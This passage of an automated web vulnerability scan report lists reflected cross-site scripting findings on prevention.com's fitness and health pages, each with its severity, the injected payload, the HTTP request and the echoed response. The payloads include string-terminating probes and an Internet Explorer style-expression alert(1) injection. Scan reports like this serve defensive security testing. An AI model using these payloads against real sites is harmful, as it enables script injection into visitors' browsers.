...[SNIP]...
<input type='hidden' id='category_core' value='Fitness-Belly Abs3c65c'style='x:expression(alert(1))'bc3f9e30175'>
...[SNIP]...

2.101. http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e4ec'%3b69855b3c645 was submitted in the REST URL parameter 4. This input was echoed as 3e4ec';69855b3c645 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/belly-abs/flatten-your-belly3e4ec'%3b69855b3c645/article/613888dc78803110VgnVCM10000013281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:49 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91489

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly3e4ec';69855b3c645/article/613888dc78803110VgnVCM10000013281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.102. http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a7661'style%3d'x%3aexpression(alert(1))'d1c79f48836 was submitted in the REST URL parameter 5. This input was echoed as a7661'style='x:expression(alert(1))'d1c79f48836 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/fitness/belly-abs/flatten-your-belly/articlea7661'style%3d'x%3aexpression(alert(1))'d1c79f48836/613888dc78803110VgnVCM10000013281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1790
Date: Thu, 10 Mar 2011 17:09:03 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 74480

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Fitness-Belly Abs-Flatten Your Belly-Articlea7661'style='x:expression(alert(1))'d1c79f48836'>
...[SNIP]...

2.103. http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____ [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 75b98'%3b7f1c107c0f0 was submitted in the REST URL parameter 6. This input was echoed as 75b98';7f1c107c0f0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____75b98'%3b7f1c107c0f0 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:10:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88885

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/belly-abs/flatten-your-belly/article/613888dc78803110VgnVCM10000013281eac____75b98';7f1c107c0f0&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.104. http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2db1'%3ba3c6da0aec5 was submitted in the REST URL parameter 3. This input was echoed as b2db1';a3c6da0aec5 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/cardiob2db1'%3ba3c6da0aec5/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:42 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/cardiob2db1';a3c6da0aec5/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.105. http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7ccb0'style%3d'x%3aexpression(alert(1))'a574e26ad56 was submitted in the REST URL parameter 3. This input was echoed as 7ccb0'style='x:expression(alert(1))'a574e26ad56 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/fitness/cardio7ccb0'style%3d'x%3aexpression(alert(1))'a574e26ad56/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:06:36 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 96686

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<input type='hidden' id='category_core' value='Fitness-Cardio7ccb0'style='x:expression(alert(1))'a574e26ad56'>
...[SNIP]...

2.106. http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6145'%3b6808541011e was submitted in the REST URL parameter 4. This input was echoed as b6145';6808541011e in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/cardio/live-the-fat-burning-life-126b6145'%3b6808541011e/article/e9e03a2877df9110VgnVCM20000012281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:08:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91555

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126b6145';6808541011e/article/e9e03a2877df9110VgnVCM20000012281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.107. http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 41d5a'style%3d'x%3aexpression(alert(1))'b8abaa4533d was submitted in the REST URL parameter 5. This input was echoed as 41d5a'style='x:expression(alert(1))'b8abaa4533d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/fitness/cardio/live-the-fat-burning-life-126/article41d5a'style%3d'x%3aexpression(alert(1))'b8abaa4533d/e9e03a2877df9110VgnVCM20000012281eac____ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1797
Date: Thu, 10 Mar 2011 17:09:32 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 74688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Fitness-Cardio-Live The Fat Burning Life 126-Article41d5a'style='x:expression(alert(1))'b8abaa4533d'>
...[SNIP]...

2.108. http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____ [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d7a0'%3b1a5653adf9 was submitted in the REST URL parameter 6. This input was echoed as 1d7a0';1a5653adf9 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____1d7a0'%3b1a5653adf9 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:10:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 91526

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/cardio/live-the-fat-burning-life-126/article/e9e03a2877df9110VgnVCM20000012281eac____1d7a0';1a5653adf9&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.109. http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7e463'%3b56205553b1a was submitted in the REST URL parameter 3. This input was echoed as 7e463';56205553b1a in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/find-a-workout7e463'%3b56205553b1a/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:11 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89213

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/find-a-workout7e463';56205553b1a/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.110. http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload e788f'style%3d'x%3aexpression(alert(1))'6ab22e02f was submitted in the REST URL parameter 3. This input was echoed as e788f'style='x:expression(alert(1))'6ab22e02f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/fitness/find-a-workoute788f'style%3d'x%3aexpression(alert(1))'6ab22e02f/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:06:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 93687

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<input type='hidden' id='category_core' value='Fitness-Find A Workoute788f'style='x:expression(alert(1))'6ab22e02f'>
...[SNIP]...

2.111. http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 58d30'%3bcf4179973ea was submitted in the REST URL parameter 4. This input was echoed as 58d30';cf4179973ea in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/find-a-workout/total-body-toning58d30'%3bcf4179973ea/article/31e69dc91e22e110VgnVCM10000013281eac____/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:07:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/find-a-workout/total-body-toning58d30';cf4179973ea/article/31e69dc91e22e110VgnVCM10000013281eac____&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.112. http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 19f97'style%3d'x%3aexpression(alert(1))'7bb7b9ba7b7 was submitted in the REST URL parameter 5. This input was echoed as 19f97'style='x:expression(alert(1))'7bb7b9ba7b7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/fitness/find-a-workout/total-body-toning/article19f97'style%3d'x%3aexpression(alert(1))'7bb7b9ba7b7/31e69dc91e22e110VgnVCM10000013281eac____/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1793
Date: Thu, 10 Mar 2011 17:08:16 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 74609

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Fitness-Find A Workout-Total Body Toning-Article19f97'style='x:expression(alert(1))'7bb7b9ba7b7'>
...[SNIP]...

2.113. http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/ [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____/

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3ba5'%3b71644938b8 was submitted in the REST URL parameter 6. This input was echoed as d3ba5';71644938b8 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____d3ba5'%3b71644938b8/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:09:50 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89041

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<a href="http://www.facebook.com/sharer.php?u=http://www.prevention.com/health/fitness/find-a-workout/total-body-toning/article/31e69dc91e22e110VgnVCM10000013281eac____d3ba5';71644938b8&title='
+ pageTitle
+ '" title="Share on Facebook." rel="nofollow">
...[SNIP]...

2.114. http://www.prevention.com/health/health/a-spoonful-of-health/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.prevention.com
Path:	/health/health/a-spoonful-of-health/

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ccb17'%3b29e646bb194 was submitted in the REST URL parameter 3. This input was echoed as ccb17';29e646bb194 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /health/health/ccb17'%3b29e646bb194/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1796
Date: Thu, 10 Mar 2011 17:06:59 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 75050

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

   <titl
...[SNIP]...
<script language="javascript">
                                       gSiteLife.SummaryBlogsRecentPostsByTag(3, 'ccb17';29e646bb194')
                                   </script>
...[SNIP]...

2.115. http://www.prevention.com/health/health/a-spoonful-of-health/ [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/a-spoonful-of-health/

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f24a2'style%3d'x%3aexpression(alert(1))'f6353e58e8 was submitted in the REST URL parameter 3. This input was echoed as f24a2'style='x:expression(alert(1))'f6353e58e8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /health/health/a-spoonful-of-healthf24a2'style%3d'x%3aexpression(alert(1))'f6353e58e8/ HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Cache-Control: max-age=1792
Date: Thu, 10 Mar 2011 17:06:05 GMT
Connection: close
Connection: Transfer-Encoding
X-N: S
Content-Length: 76657

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>
<head>

<titl
...[SNIP]...
<input type='hidden' id='category_core' value='Health-A Spoonful Of Healthf24a2'style='x:expression(alert(1))'f6353e58e8'>
...[SNIP]...

2.116. http://www.prevention.com/health/health/health-concerns/cold-flu [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/health/health/health-concerns/cold-flu

Issue detail

